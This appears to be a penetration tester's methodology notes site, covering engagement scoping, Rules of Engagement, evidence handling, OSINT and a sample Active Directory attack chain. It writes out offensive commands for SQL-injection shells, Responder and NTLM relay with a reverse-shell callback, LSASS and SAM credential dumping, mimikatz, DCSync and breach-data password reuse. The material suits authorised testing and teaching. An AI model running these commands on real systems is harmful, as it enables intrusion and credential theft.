Docs - Pentesting
1 - Meta
Meta: Penetration Testing Execution Standard (PTES)
| Step | Task |
|---|---|
| 1. | Get the user flag on your own |
| 2. | Get the root flag on your own |
| 3. | Write your technical documentation |
| 4. | Write your non-technical documentation |
| 5. | Compare your notes with the official write-up |
| 6. | Create a list of information you have missed |
| 7. | Watch video or read blog walkthrough and compare it with your notes - https://www.youtube.com/@ippsec/videos - https://ippsec.rocks/?# - https://www.youtube.com/@vbscrub/videos - https://www.youtube.com/watch?v=CU9Iafc-Igs&list=PLF7JR1a3dLONdkRYU_8-5OcgOzrWe2549 - https://www.youtube.com/@LiveOverflow/videos \ |
| 8. | Expand your notes and documentation by adding the missed parts |
PowerShell: https://underthewire.tech/wargames
Linux Terminal: https://overthewire.org/wargames/
Tmux:
Vim:
π¦ Recommended Retired Boxes
| Box | |
|---|---|
| OWASP Juice Shop | Is a modern vulnerable web application written in Node.js, Express, and Angular which showcases the entire OWASP Top Ten along with many other real-world application security flaws. |
| Metasploitable 2 | Is a purposefully vulnerable Ubuntu Linux VM that can be used to practice enumeration, automated, and manual exploitation. |
| Metasploitable 3 | Is a template for building a vulnerable Windows VM configured with a wide range of vulnerabilities. |
| DVWA | This is a vulnerable PHP/MySQL web application showcasing many common web application vulnerabilities with varying degrees of difficulty. |
2 - Pre-Engagement
Checklist
This page is the master checklist where sections can be embedded into the relevant doc pages (e.g. Active Directory) via embed-section (custom Hugo shortcode for this website).
Host Discovery & ARP
- 1. Passive Listen (Responder / tcpdump) (Run Responder in passive mode or
tcpdumpto observe broadcast traffic, discover hosts, and passively collect credentials before any active scanning) - 2. Interface & Subnet Mapping (Identify your own IP and CIDR via
ip aoripconfigto define the scope) - 3. Passive Neighbor Discovery (Check the local ARP cache via
arp -aorip neighto see connected peers) - 4. Active Host Discovery (Run
nmap -sn <CIDR>ornetdiscoverto sweep the subnet via ARP/ICMP) - 5. Role Identification (Scan live hosts for specific ports like 88/445/389 to distinguish DCs from workstations)
DNS
- 1. Server Recon & Zone Transfer (Identify Nameservers, Bind version, and attempt
dig axfrordig anyfor a full dump) - 2. Record Enumeration (Query standard types A, MX, TXT, SRV, and run Reverse DNS/PTR against IP ranges)
- 3. Subdomain Discovery (Combine passive cert transparency logs via
crt.shwith active bruteforcing viagobuster/puredns) - 4. Vulnerability Analysis (Check for dangling CNAMEs for Domain Takeover, and monitor LLMNR/NBT-NS if internal)
SMB
- 1. Anonymous Access & Share Listing (Attempt a null session via
smbclient -L <IP> -Norcrackmapexec smb <IP> --sharesto list shares without credentials) - 2. Comprehensive Enumeration (Run
enum4linux-ng -A <IP>to automatically dump users, groups, OS info, and password policies) - 3. Share Content Inspection (Mount accessible shares or use
smbclientto browse directories for sensitive files, scripts, or backups) - 4. Security Posture Check (Use
nmap --script=smb-security-modeto verify if SMB signing is required, which is critical for preventing relay attacks)
Web
- 1. Technology & Security Fingerprinting (Use
whatwebandniktoto identify the server, frameworks, and WAF, andcurlto inspect headers and robots.txt) - 2. Content & vHost Discovery (Run
feroxbusterorgobuster dirto bruteforce directories/files, andgobuster vhostto find hidden virtual hosts) - 3. Automated Vulnerability Scanning (Use
niktoorwapitito scan for common misconfigurations and known vulnerabilities like outdated software) - 4. Manual Application Testing (OWASP Top 10) (After automated scans, manually inspect the application for logical flaws, focusing on Injection, Broken Access Control, and XSS)
SQL
If these steps fail, the target is likely not vulnerable via automation.
Phase 1: Injection & Tuning
- Manual Triage (Burp): Confirm “True” vs “False” response size manually. Never run SQLMap blind.
- The Setup: Save request to
req.txt. Mark injection point with*. (sqlmap -r req.txt --batch) - The Unlocker (Tuning): Logic (
OR) or Brackets ()))) failing? (--level 5 --risk 3) - The Syntax Fix: SQLMap guessing wrong boundaries? (
--prefix="')"- Match your Burp findings). - The Speedup: Time-based checks taking forever? (
--technique=BEU- Force Boolean/Error/Union only).
Phase 2: Stability & Evasion
- The Hallucination Fix: “2 letters off” or garbage data? (
--string="SuccessMsg"or--text-only). - The Bypass: WAF blocking or 403s? (
--random-agent --tamper=space2comment --skip-waf).
Phase 3: Loot & Shells
- The Recon: Check privileges immediately. (
--is-dba --current-db). - The Dump: Surgical extraction (Don’t dump the world). (
-D <DB> -T <TABLE> -C <USER,PASS> --dump). - The Endgame (RCE): DBA is True? (
--os-shell(Add--technique=Eif empty) OR--file-write="shell.php").
Troubleshooting (Panic Modifiers) Add these to The Dump if injection exists but data fails to extract.
-
--union-cols=X: Manually set column count (if SQLMap counts wrong). -
--no-cast: Disable payload casting (Fixes specific DB errors). -
--hex: Encode data extraction (Bypasses WAF filters on output).
Active Directory
- 1. Domain & Network Identification (Identify DC IP, Domain Name, Ports 53/88/389/445,
net config workstation) - 2. User Enumeration (Build target list via Kerbrute, RID Cycling, or
net user /domain) - 3. Initial Credential Acquisition (Run Responder for LLMNR/NBT-NS poisoning, check AS-REP Roasting)
- 4. BloodHound Collection & Analysis (Run SharpHound, upload data, analyze “Shortest Paths” and “High Value Targets”)
- 5. Service & Misconfiguration Hunting (Kerberoasting TGS, check SYSVOL/GPP for passwords, DNS/Printer Bug checks)
- 6. ACL & Object Rights Analysis (Check for “Dangerous Rights” like GenericAll/WriteDACL via PowerView or BloodHound)
- 7. Certificate Services (ADCS) Check (Enumerate vulnerable templates, Shadow Credentials/PyWhisker, Pass-the-Certificate)
- 8. Access & Admin Validation (Check Local Admin rights, test RDP/WinRM access, verify “Double Hop” status)
- 9. Lateral Movement (Execute Pass-the-Hash, Pass-the-Ticket, or Overpass-the-Hash to pivot)
- 10. Domain Dominance (Perform DCSync to dump NTDS.dit, create Golden Tickets, enumerate Trusts)
Penetration Test: Pre-Engagement Template
- Style Guide: https://bishopfox.com/cybersecurity-style-guide
1. Project Metadata
- Client Name:
[Client Name] - Project Name:
[Project Name / Engagement Title] - Date Created:
[YYYY-MM-DD] - Start Date:
[YYYY-MM-DD] - End Date:
[YYYY-MM-DD]
Key Personnel
- Primary Client Contact:
[Name, Title, Email, Phone] - Secondary Client Contact:
[Name, Title, Email, Phone] - Technical Support Contact:
[Name, Title, Email, Phone] - Signatory Authority:
[Name, Title] - Lead Penetration Tester:
[Your Name]
2. Master Document Checklist
1. Non-Disclosure Agreement (NDA)
- Status:
[Pending | Signed] - Notes:
- Status:
2. Scoping Questionnaire
- Status:
[Sent | Received | Reviewed] - Notes:
- Status:
3. Scoping Document
- Status:
[Drafting | Finalized] - Notes:
- Status:
4. Penetration Testing Proposal (Contract/SoW)
- Status:
[Drafting | Sent | Signed] - Notes:
- Status:
5. Rules of Engagement (RoE)
- Status:
[Drafting | Finalized | Signed] - Notes:
- Status:
6. Contractors Agreement (Physical Assessments)
- Status:
[N/A | Required | Signed] - Notes:
- Status:
7. Reports
- Status:
[In Progress | Delivered] - Notes:
- Status:
3. Scoping Questionnaire
Assessment Type(s) Required
- Internal Vulnerability Assessment
- External Vulnerability Assessment
- Internal Penetration Test
- External Penetration Test
- Wireless Security Assessment
- Application Security Assessment
- Physical Security Assessment
- Social Engineering Assessment
- Red Team Assessment
- Web Application Security Assessment
Notes on specific requirements (e.g., black box, evasiveness, vishing):
Critical Scoping Information
- How many expected live hosts?
Answer:
- How many IPs/CIDR ranges in scope?
Answer:
- How many Domains/Subdomains are in scope?
Answer:
- How many wireless SSIDs in scope?
Answer:
- How many web/mobile applications? Authenticated roles?
Answer:
- For phishing: how many users targeted? List provided?
Answer:
- For physical assessment: how many locations? Geographically dispersed?
Answer:
- Objective of the Red Team Assessment? Out of scope activities?
Answer:
- Is a separate Active Directory Security Assessment desired?
Answer:
- Will network testing be anonymous or as a standard domain user?
Answer:
- Do we need to bypass Network Access Control (NAC)?
Answer:
Information Disclosure & Evasiveness
Information Disclosure Level:
- Black Box (no information provided)
- Grey Box (IPs/URLs provided)
- White Box (detailed information provided)
Evasiveness Level:
- Non-Evasive
- Hybrid-Evasive (start quiet, get louder)
- Fully Evasive
4. Contract / Scope of Work (SoW) Checklist
NDA:
- A secrecy contract between the client and contractor.
- Notes:
Goals:
- High-level and fine-grained milestones to be achieved.
- Notes:
Scope:
- Individual components to be tested (domains, IPs, specific accounts).
- Notes:
Penetration Testing Type:
- The chosen type of test (e.g., Internal, External, Web App).
- Notes:
Methodologies:
- Examples: OSSTMM, OWASP, PTES.
- Notes:
Penetration Testing Locations:
- External (Remote via VPN) and/or Internal.
- Notes:
Time Estimation:
- Start and end dates for the entire engagement and for specific phases (Exploitation, Post-Ex). Testing hours (during/after business hours).
- Notes:
Third Parties:
- Any cloud providers, ISPs, or hosting providers involved. Written consent must be obtained from them by the client.
- Notes:
Evasive Testing:
- Clarify if techniques to evade security systems are in scope.
- Notes:
Risks:
- Inform the client of potential risks (e.g., system instability, locked accounts).
- Notes:
Scope Limitations & Restrictions:
- Which servers, workstations, or network components are critical and must be avoided.
- Notes:
Information Handling:
- Compliance requirements (e.g., HIPAA, PCI, NIST).
- Notes:
Contact Information:
- A full list of contacts and an escalation priority order.
- Notes:
Lines of Communication:
- E-mail, phone calls, personal meetings.
- Notes:
Reporting:
- Structure of the report, customer-specific requirements, and presentation plans.
- Notes:
Payment Terms:
- Prices and terms of payment.
- Notes:
5. Rules of Engagement (RoE) Checklist
- Introduction: Description of the RoE document.
- Contractor: Company name, key contacts.
- Penetration Testers: Names of testers.
- Contact Information: Full contact details for all parties.
- Purpose: Purpose of the penetration test.
- Goals: Goals to be achieved.
- Scope: All IPs, domains, URLs, CIDR ranges.
- Lines of Communication: E-mail, phone, etc.
- Time Estimation: Start and end dates.
- Time of the Day to Test: Specific testing hours.
- Penetration Testing Type: The specific type of test.
- Penetration Testing Locations: How the connection to the client network is established.
- Methodologies: OSSTMM, PTES, OWASP, etc.
- Objectives / Flags: Specific users, files, or information to target.
- Evidence Handling: Encryption and secure protocols for handling evidence.
- System Backups: Acknowledgment of client’s backup procedures.
- Information Handling: Strong data encryption requirements.
- Incident Handling and Reporting: Process for emergency contact and test interruptions.
- Status Meetings: Frequency, dates, times, and attendees.
- Reporting: Type, target readers, and focus of the final report.
- Retesting: Start and end dates for retesting patched vulnerabilities.
- Disclaimers and Limitation of Liability: System damage, data loss.
- Permission to Test: Confirmation of signed contract.
6. Kick-Off Meeting Agenda
- Attendees:
[List of Client POCs][List of Client Technical Staff][List of Pentesting Team Members]
- Agenda Items:
- Review nature and scope of the penetration test.
- Confirm Rules of Engagement (RoE).
- Define “Critical Vulnerability” and the process for immediate notification (e.g., for unauthenticated RCE).
- Discuss potential risks (log entries, alarms, accidental account lockouts).
- Explain the full penetration testing process in a clear, non-technical way.
- Confirm client’s goals and priorities.
- Open floor for Q&A.
7. Physical Assessment Addendum
- Introduction
- Contractor
- Purpose
- Goal
- Penetration Testers
- Contact Information
- Physical Addresses
- Building Name
- Floors
- Physical Room Identifications
- Physical Components
- Timeline
- Notarization
- Permission to Test (“Get Out of Jail Free Card”)
Pre-Engagement
Evidence Collection
- Centralize Project Data: Maintain one place for scope (IPs/URLs), client contacts, Rules of Engagement (RoE), and a running to-do list.
- Document the Attack Path: As you move through the network, document the full chain of exploits with raw command output and screenshots.
- Maintain a Credential Log: Keep a separate, centralized list of all compromised credentials, keys, and secrets.
- Isolate Findings: Create a dedicated folder/note for each distinct vulnerability. Write the narrative and save evidence as you discover it, not after.
- Track Payloads & Modifications: Keep a log of all uploaded payloads (with file hashes and paths) and any system modifications made (accounts created, settings changed, timestamps, host IPs).
- Get Approval for Destructive Actions: Always get written client approval before making system changes or running tests that could impact stability.
- For any big changes always save:
- IP address of the host(s)/hostname(s) where the change was made
- Timestamp of the change
- Description of the change
- Location on the host(s) where the change was made
- Name of the application or service that was tampered with
- Name of the account (if you created one) and perhaps the password in case you are required to surrender it
- For any big changes always save:
- Prioritize Terminal Output: Use raw text from your terminal over screenshots. It’s easier to redact, format, and allows clients to copy-paste commands. Use
<SNIP>for brevity but never alter the output. - Redact Securely:
- Use solid black boxes to redact PII and credentials, not blur or pixelation (which can be reversed).
- Burn redactions directly into the image file itself, not as a shape overlay in a Word document.
- Handle Sensitive Data Safely: Do not exfiltrate raw PII. Screenshot directory listings instead of downloading sensitive files to prove access.
Collection Structure
Also see [[tmux]] and use tmux logging to automatically collect the terminal output.
mkdir -p {Admin,Deliverables,Evidence/{Findings,Scans/{Vuln,'Service Enum','Web Enum','AD Enum'},Notes,OSINT,'Log Output','Misc Files'},Retest}Admin- Scope of Work (SoW) that you’re working off of, your notes from the project kickoff meeting, status reports, vulnerability notifications, etc
Deliverables- Folder for keeping your deliverables as you work through them. This will often be your report but can include other items such as supplemental spreadsheets and slide decks, depending on the specific client requirements.
Evidence- Findings
- We suggest creating a folder for each finding you plan to include in the report to keep your evidence for each finding in a container to make piecing the walkthrough together easier when you write the report.
- Scans
- Vulnerability scans
- Export files from your vulnerability scanner (if applicable for the assessment type) for archiving.
- Service Enumeration
- Export files from tools you use to enumerate services in the target environment like Nmap, Masscan, Rumble, etc.
- Web
- Export files for tools such as ZAP or Burp state files, EyeWitness, Aquatone, etc.
- AD Enumeration
- JSON files from BloodHound, CSV files generated from PowerView or ADRecon, Ping Castle data, Snaffler log files, CrackMapExec logs, data from Impacket tools, etc.
- Vulnerability scans
- Notes
- A folder to keep your notes in.
- OSINT
- Any OSINT output from tools like Intelx and Maltego that doesn’t fit well in your notes document.
- Wireless
- Optional if wireless testing is in scope, you can use this folder for output from wireless testing tools.
- Logging output
- Logging output from Tmux, Metasploit, and any other log output that does not fit the
Scansubdirectories listed above.
- Logging output from Tmux, Metasploit, and any other log output that does not fit the
- Misc Files
- Web shells, payloads, custom scripts, and any other files generated during the assessment that are relevant to the project.
- Findings
Retest- This is an optional folder if you need to return after the original assessment and retest the previously discovered findings. You may want to replicate the folder structure you used during the initial assessment in this directory to keep your retest evidence separate from your original evidence.
Client Communication
Send start notification email including information such as:
- Tester name
- Description of the type/scope of the engagement
- Source IP address for testing (public IP for an external attack host or the internal IP of our attack host if we are performing an Internal Penetration Test)
- Dates anticipate for testing
- Primary and secondary contact information (email and phone)
At the end of each day, we should send a stop notification to signal the end of testing
Email Template
Subject: External Penetration Test - Start of Testing
From:
To:
Cc:
Date: Mon 6/20/2022 8:29AM
Good Morning,
This email is to notify you that the External Penetration Test against <COMPANY>'s internet-facing network assets has begun. All testing traffic will originate from the following IP address:
<TARGETS>
While we do not anticipate service disruptions during testing, if any issues arise, please do not hesitate to reach out via the cell phone number or email address in my signature line.
If I am unavailable for any reason, the secondary contact for this engagement will be:
<NAME>
<TITLE>
<PHONE>
<EMAIL>
As discussed during the kickoff call, I will send out a vulnerability notification for any high-risk vulnerabilities uncovered against internet-facing hosts. The assessment will begin with manual and automated information gathering and enumeration scans, then proceed to manual testing and validation of scan results.
Thank you, and I look forward to a productive assessment.
Regards,
<NAME>
<TITLE> | <COMPANY>
<PHONE>
<WEBSITE>
<EMAIL>Baseline Tracking of Technological Assets
Diagrams.net: https://app.diagrams.net/
- DNS records, network device backups, and DHCP configurations
- Full and current application inventory
- A list of all enterprise hosts and their location
- Users who have elevated permissions
- A list of any dual-homed hosts (2+ network interfaces)
- Keeping a visual network diagram of your environment
People, Processes, and Technology
Processes
- Proper policies and procedures for asset monitoring and management
- Host audits, the use of asset tags, and periodic asset inventories can help ensure hosts are not lost
- Access control policies (user account provisioning/de-provisioning), multi-factor authentication mechanisms
- Processes for provisioning and decommissioning hosts (i.e., baseline security hardening guideline, gold images)
- Change management processes to formally document who did what and when they did it
Perimeter First
- What exactly are we protecting?
- What are the most valuable assets the organization owns that need securing?
- What can be considered the perimeter of our network?
- What devices & services can be accessed from the Internet? (Public-facing)
- How can we detect & prevent when an attacker is attempting an attack?
- How can we make sure the right person &/or team receives alerts as soon as something isn’t right?
- Who on our team is responsible for monitoring alerts and any actions our technical controls flag as potentially malicious?
- Do we have any external trusts with outside partners?
- What types of authentication mechanisms are we using?
- Do we require Out-of-Band (OOB) management for our infrastructure. If so, who has access permissions?
- Do we have a Disaster Recovery plan?
Internal Considerations
- Are any hosts that require exposure to the internet properly hardened and placed in a DMZ network?
- Are we using Intrusion Detection and Prevention systems within our environment?
- How are our networks configured? Are different teams confined to their own network segments?
- Do we have separate networks for production and management networks?
- How are we tracking approved employees who have remote access to admin/management networks?
- How are we correlating the data we are receiving from our infrastructure defenses and end-points?
- Are we utilizing host-based IDS, IPS, and event logs?
3rd Parties Infrastructure
- AWS: https://aws.amazon.com/es/security/penetration-testing/
- Oracle: https://www.oracle.com/corporate/security-practices/testing/
Sensitive Data Regulations
- UK: https://www.gov.uk/data-protection
- US:
- Baselines/Govt: https://public.cyber.mil/stigs/
- General: https://www.cisecurity.org/cis-benchmarks
- Info Security: https://www.iso.org/standard/27001
- Privacy: https://www.ftc.gov/business-guidance/privacy-security
- Financial: https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act
- Health: https://www.hhs.gov/hipaa/for-professionals/security/index.html
Sample Engagement
Phase 1: Initial Reconnaissance & Network Mapping
- Host Discovery: Perform a quick Nmap scan to identify live hosts and common services.
nmap -T4 -p 21,22,23,53,80,139,443,445,3389 --open -iL <scope.txt> -oG nmap_quick
- Web Service Screenshotting: Use gowitness or EyeWitness on discovered web ports (80, 443, 8080, etc.) to visually identify interesting applications.
gowitness nmap -f nmap_quick
- Full Port Scan: Run a comprehensive Nmap scan in the background on all live hosts to discover non-standard services.
nmap -T4 -p- -sV -sC -iL <live_hosts.txt> -oA nmap_full
- Vulnerability Scanning: Run a Nessus (or equivalent) authenticated scan.
- Note: This is primarily for the client’s benefit to identify patching gaps. Exploits from this are secondary to credential-based attacks.
- Identify Relay Targets: Use
netexecto find hosts with SMB signing disabled, creating a target list for relay attacks.nxc smb <CIDR> --gen-relay-list smb_relay_targets.txt
Phase 2: Initial Access & Foothold
- LLMNR/NBT-NS Poisoning: Start Responder to poison local name resolution and capture NTLMv2 hashes from hosts on the same broadcast domain.
responder -I <interface> -dwPv
- NTLM Relay Attack: In parallel with Responder, run Impacket’s ntlmrelayx.py to relay captured hashes to the list of SMB-signing-disabled hosts. The goal is to execute a command or dump local hashes.
ntlmrelayx.py -tf smb_relay_targets.txt -smbsupport -c "whoami"
- AD CS Enumeration (Critical): Use Certipy to find vulnerable certificate templates in Active Directory Certificate Services. This is a primary vector for privilege escalation.
certipy find -u '<user>' -p '<password>' -dc-ip <DC_IP> -vulnerable
- Anonymous Enumeration: Check for anonymous access to SMB shares and LDAP.
nxc smb <CIDR> -u '' -p '' --shares
- Offline Password Cracking: Use Hashcat on any captured NTLMv2 hashes. A successful crack provides the first set of valid user credentials.
hashcat -m 5600 hashes.txt /path/to/wordlist.txt
Phase 3: Post-Compromise Situational Awareness
At this point, we assume a valid user credential (username/password or hash) has been acquired.
- BloodHound Data Collection: Run the SharpHound ingestor to collect AD data. This is the most critical step to visualize attack paths.
SharpHound.exe -c All
- Kerberoasting: Use Rubeus or Impacket’s GetUserSPNs.py to request service tickets (TGS) for accounts with Service Principal Names (SPNs). Attempt to crack these offline with Hashcat.
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
- Enumerate User Privileges: Use
netexecwith the obtained credential to determine where the user has local administrator rights.nxc smb <CIDR> -u '<user>' -p '<password>' --local-auth
- Host-Based Enumeration: On any system where you have access (even as a low-privilege user), run situational awareness tools like Seatbelt to find sensitive data, saved browser credentials, or misconfigurations.
Seatbelt.exe -group=all
Phase 4: Privilege Escalation & Lateral Movement
- Pivoting with Admin Rights: If the user has local admin rights on a machine, pivot to it.
- Credential Dumping: Dump credentials from the compromised machine’s memory (LSASS) and SAM database.
nxc smb <target_IP> -u '<user>' -p '<password>' --local-auth -M lsassynxc smb <target_IP> -u '<user>' -p '<password>' --local-auth --sam
- Pass-the-Hash: Use the dumped local administrator hash to move laterally to other workstations, leveraging the common practice of local admin password reuse.
nxc smb <CIDR> -u Administrator -H <ntlm_hash> --local-auth
- Analyze BloodHound Data: Ingest the collected data into the BloodHound UI. Look for:
- Shortest paths to Domain Admins.
- Users with dangerous rights (GenericAll, WriteDACL) over other objects.
- Domain Admins logged into workstations where you now have local admin access.
Phase 5: Domain Dominance
- Targeting Domain Admin Sessions: Using BloodHound, identify a workstation where a Domain Admin is logged in and you have local admin rights.
- DA Credential Extraction: Pivot to that machine and dump credentials from LSASS. Capturing a DA’s ticket or hash from memory is often the final step.
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
- Process Injection (If Needed): If credentials are not in LSASS but the DA is logged on, gain an interactive shell and inject into a process owned by the DA to inherit their permissions.
- DCSync: Once DA-equivalent privileges are obtained, use Impacket’s secretsdump.py or mimikatz to perform a DCSync attack, dumping all NTLM hashes from the Domain Controller.
secretsdump.py <domain>/<DA_user>:<password>@<DC_IP> -just-dc-ntlm
- Persistence: Create a Golden Ticket using the
krbtgthash obtained from the DCSync to maintain persistent access to the entire domain.
3 - Info Gathering
Passive Information Gathering
Enumeration
Primary source of information will be:
- scoping document (in-scope assets)
- passive OSINT
| No. | Principle |
|---|---|
| 1. | There is more than meets the eye. Consider all points of view. |
| 2. | Distinguish between what we see and what we do not see. |
| 3. | There are always ways to gain more information. Understand the target. |
| Layer | Name | Goal / Purpose |
|---|---|---|
| 1 | Internet Presence | Discover Assets: Identify all public-facing domains, subdomains, IPs, and netblocks. |
| 2 | Gateway | Analyze the Perimeter: Understand the target’s external interfaces and protection mechanisms (e.g., WAF, firewall). |
| 3 | Accessible Services | Enumerate Services: Identify and understand the function of every open port and running service on the discovered assets. |
| 4 | Processes | Understand Functionality: Analyze how data is processed by services and identify dependencies between inputs and outputs. |
| 5 | Privileges | Identify Permissions: Determine the privileges of each service’s user account and look for overlooked or excessive permissions. |
| 6 | OS Setup | Internal Recon: After gaining access, gather information on the OS configuration, security posture, and admin practices. |
External Recon (OSINT)
- Public DNS and domain ownership records
- Email Addresses
- You can then use these to check if any have been involved in a breach or use Google Dorks to search for them on sites like Pastebin
- Subdomains
- Third-party vendors
- Similar domains
- Public cloud resources
| Data Point | Description |
|---|---|
IP Space | Valid ASN for our target, netblocks in use for the organization’s public-facing infrastructure, cloud presence and the hosting providers, DNS record entries, etc. |
Domain Information | Based on IP data, DNS, and site registrations. Who administers the domain? Are there any subdomains tied to our target? Are there any publicly accessible domain services present? (Mailservers, DNS, Websites, VPN portals, etc.) Can we determine what kind of defenses are in place? (SIEM, AV, IPS/IDS in use, etc.) |
Schema Format | Can we discover the organization’s email accounts, AD usernames, and even password policies? Anything that will give us information we can use to build a valid username list to test external-facing services for password spraying, credential stuffing, brute forcing, etc. |
Data Disclosures | For data disclosures we will be looking for publicly accessible files ( .pdf, .ppt, .docx, .xlsx, etc. ) for any information that helps shed light on the target. For example, any published files that contain intranet site listings, user metadata, shares, or other critical software or hardware in the environment (credentials pushed to a public GitHub repo, the internal AD username format in the metadata of a PDF, for example.) |
Breach Data | Any publicly released usernames, passwords, or other critical information that can help an attacker gain a foothold. |
And where to find that above information…
| Resource | Examples |
|---|---|
ASN / IP registrars | IANA, arin for searching the Americas, RIPE for searching in Europe, BGP Toolkit |
Domain Registrars & DNS | Domaintools, PTRArchive, ICANN, manual DNS record requests against the domain in question or against well known DNS servers, such as 8.8.8.8. |
Social Media | Searching Linkedin, Twitter, Facebook, your region’s major social media sites, news articles, and any relevant info you can find about the organization. |
Public-Facing Company Websites | Often, the public website for a corporation will have relevant info embedded. News articles, embedded documents, and the “About Us” and “Contact Us” pages can also be gold mines. |
Cloud & Dev Storage Spaces | GitHub, AWS S3 buckets & Azure Blog storage containers, Google searches using “Dorks” |
Breach Data Sources | HaveIBeenPwned to determine if any corporate email accounts appear in public breach data, Dehashed to search for corporate emails with cleartext passwords or hashes we can try to crack offline. We can then try these passwords against any exposed login portals (Citrix, RDS, OWA, 0365, VPN, VMware Horizon, custom applications, etc.) that may use AD authentication. |
via DNS
Great to validate and discover new information, especially from IP and ASN searches.
- https://whois.domaintools.com/
- Check ASN
- https://viewdns.info/
- DNS (Local Namerservers): https://viewdns.info/dnsreport
- All Records: https://viewdns.info/dnsrecord
via Search Engine Dorking
See more about… Search Engine Dorking
Source: Docs > 3 - Info Gathering > search-engine-dorking
site: inurl: filetype: intitle: intext: inbody: cache: link: related: info: define: numrange: allintext: allinurl: allintitle: # Operators AND OR NOT * .. " " - + ### EXAMPLES # Find Emails inurl:<DOMAIN> intext:"@<DOMAIN>" # Finding Login Pages: site:<DOMAIN> inurl:login site:<DOMAIN> (inurl:login OR inurl:admin) # Identifying Exposed Files: site:<DOMAIN> filetype:pdf site:<DOMAIN> (filetype:xls OR filetype:docx) inurl:<DOMAIN> filetype:pdf # !!! careful this one can show malicious site hosting cached files !!! # Uncovering Configuration Files: site:<DOMAIN> inurl:config.php # (searches for extensions commonly used for configuration files) site:<DOMAIN> (ext:conf OR ext:cnf) # Locating Database Backups: site:<DOMAIN> inurl:backup site:<DOMAIN> filetype:sqlSee more about… User Enumeration
Source: Docs > 7 - Lateral Movement > active-directory#user-enumeration
User Enumeration
“A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication”
- https://github.com/ropnop/kerbrute
- Username Lists
- PowerShell Tool: https://github.com/dafthack/DomainPasswordSpray
See more about… User Enum
Source: Docs > 5 - Exploitation > online-credentials-attacks#user-enum
User Enum
- No creds: Try anonymous sessions
- Later: with credentials
See more about… Protocol Poisoners
Source: Docs > 5 - Exploitation > protocol-poisoners
These are a great way to passively enumerate or sniff for creds for traffic inside of the network.
via Social Media
Check various sites, especially for different types of IT admins, to skim information about hardware, software, or services used:
- LinkedIn.com
- Indeed.com
- Glassdoor.com
via other Services
- Leaked Creds: https://dehashed.com/
- https://github.com/sm00v/Dehashed
curl 'https://api.dehashed.com/search?query=domain:target.com&size=1000' -u <EMAIL>:<API_KEY> -H 'Accept: application/json' > dehashed_results.json
- Leaked Creds: https://github.com/trufflesecurity/truffleHog
- Public (Data) Buckets: https://buckets.grayhatwarfare.com/
Internal Recon
Passively, sampling the traffic can be a great way to understand the network insofar as hosts, services, and maybe even sometimes credentials
See more about… Protocol Poisoners
Source: Docs > 5 - Exploitation > protocol-poisoners
These are a great way to passively enumerate or sniff for creds for traffic inside of the network.
Responder
- https://github.com/lgandx/Responder
- Configuration services:
/etc/responder/Responder.conf- CHECK FOR PORT CONFLICTS!
- Logs (creds) saved to:
/usr/share/responder/logs/
- Configuration services:
- Attacks the following protocols:
- LLMNR
- DNS
- MDNS
- NBNS
- DHCP
- ICMP
- HTTP
- HTTPS
- SMB
- LDAP
- WebDAV
- Proxy Auth
- MSSQL
- DCE-RPC
- FTP, POP3, IMAP, and SMTP auth
Passive (listen only)
Observe NBT-NS, BROWSER, LLMNR, etc. No responses sent – only capture broadcast traffic; no login prompts or relay.
sudo responder -I <INTERFACE> -AActive (respond / relay)
Sends responses or relays auth: can trigger login prompts or relay hashes to a target
# Force WPAD; may cause a login prompt sudo responder --wpad --ForceWpadAuth --verbose --interface=<INTERFACE> # Relay NTLM to target and execute a callback (e.g. rev shell) # nc -lvnp <PORT> impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'Inveigh
Windows-capable LLMNR/NBNS/mDNS/DNS spoofer and capture tool (NTLM, etc.); use the C# build (Inveigh.exe) – the PowerShell version is legacy and unmaintained.
# Download latest release (Windows x64, single-file trimmed build) TAG=$(curl -s https://api.github.com/repos/Kevin-Robertson/Inveigh/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/') wget "https://github.com/Kevin-Robertson/Inveigh/releases/download/$TAG/Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip" unzip "Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"# Or build from repo (C#): open Inveigh.sln, build/publish for win-x64, or: # dotnet publish -r win-x64 -c Release -p:PublishSingleFile=true # Run with LLMNR + NBNS spoofing, full console output, and file output (all explicit) .\Inveigh.exe -LLMNR Y -NBNS Y -Console 5 -FileOutput Y# Sample the network traffic sudo tcpdump -i <INTERFACE> -w <OUTPUT_FILE>Search Engine Dorking
site: inurl: filetype: intitle: intext: inbody: cache: link: related: info: define: numrange: allintext: allinurl: allintitle: # Operators AND OR NOT * .. " " - + ### EXAMPLES # Find Emails inurl:<DOMAIN> intext:"@<DOMAIN>" # Finding Login Pages: site:<DOMAIN> inurl:login site:<DOMAIN> (inurl:login OR inurl:admin) # Identifying Exposed Files: site:<DOMAIN> filetype:pdf site:<DOMAIN> (filetype:xls OR filetype:docx) inurl:<DOMAIN> filetype:pdf # !!! careful this one can show malicious site hosting cached files !!! # Uncovering Configuration Files: site:<DOMAIN> inurl:config.php # (searches for extensions commonly used for configuration files) site:<DOMAIN> (ext:conf OR ext:cnf) # Locating Database Backups: site:<DOMAIN> inurl:backup site:<DOMAIN> filetype:sql4 - Vuln Analysis
0) Scanning
- Ports:
- OS Identification via:
Host Discovery & ARP
See more about… Host Discovery & ARP
Source: Docs > 2 - Pre-Engagement > checklist#host-discovery--arp
Host Discovery & ARP
- 1. Passive Listen (Responder / tcpdump) (Run Responder in passive mode or
tcpdumpto observe broadcast traffic, discover hosts, and passively collect credentials before any active scanning) - 2. Interface & Subnet Mapping (Identify your own IP and CIDR via
ip aoripconfigto define the scope) - 3. Passive Neighbor Discovery (Check the local ARP cache via
arp -aorip neighto see connected peers) - 4. Active Host Discovery (Run
nmap -sn <CIDR>ornetdiscoverto sweep the subnet via ARP/ICMP) - 5. Role Identification (Scan live hosts for specific ports like 88/445/389 to distinguish DCs from workstations)
# -p: source port # TCP nc -nvzw5 <TARGET> <PORT> # UDP nc -unvzw5 <TARGET> <PORT> # Connect to Encrypted Service (TLS/SSL) openssl s_client -starttls ftp -connect <TARGET>:<PORT> # Banner Grabbing sudo nmap -n -Pn --script banner.nse <TARGET>Ping Sweeps
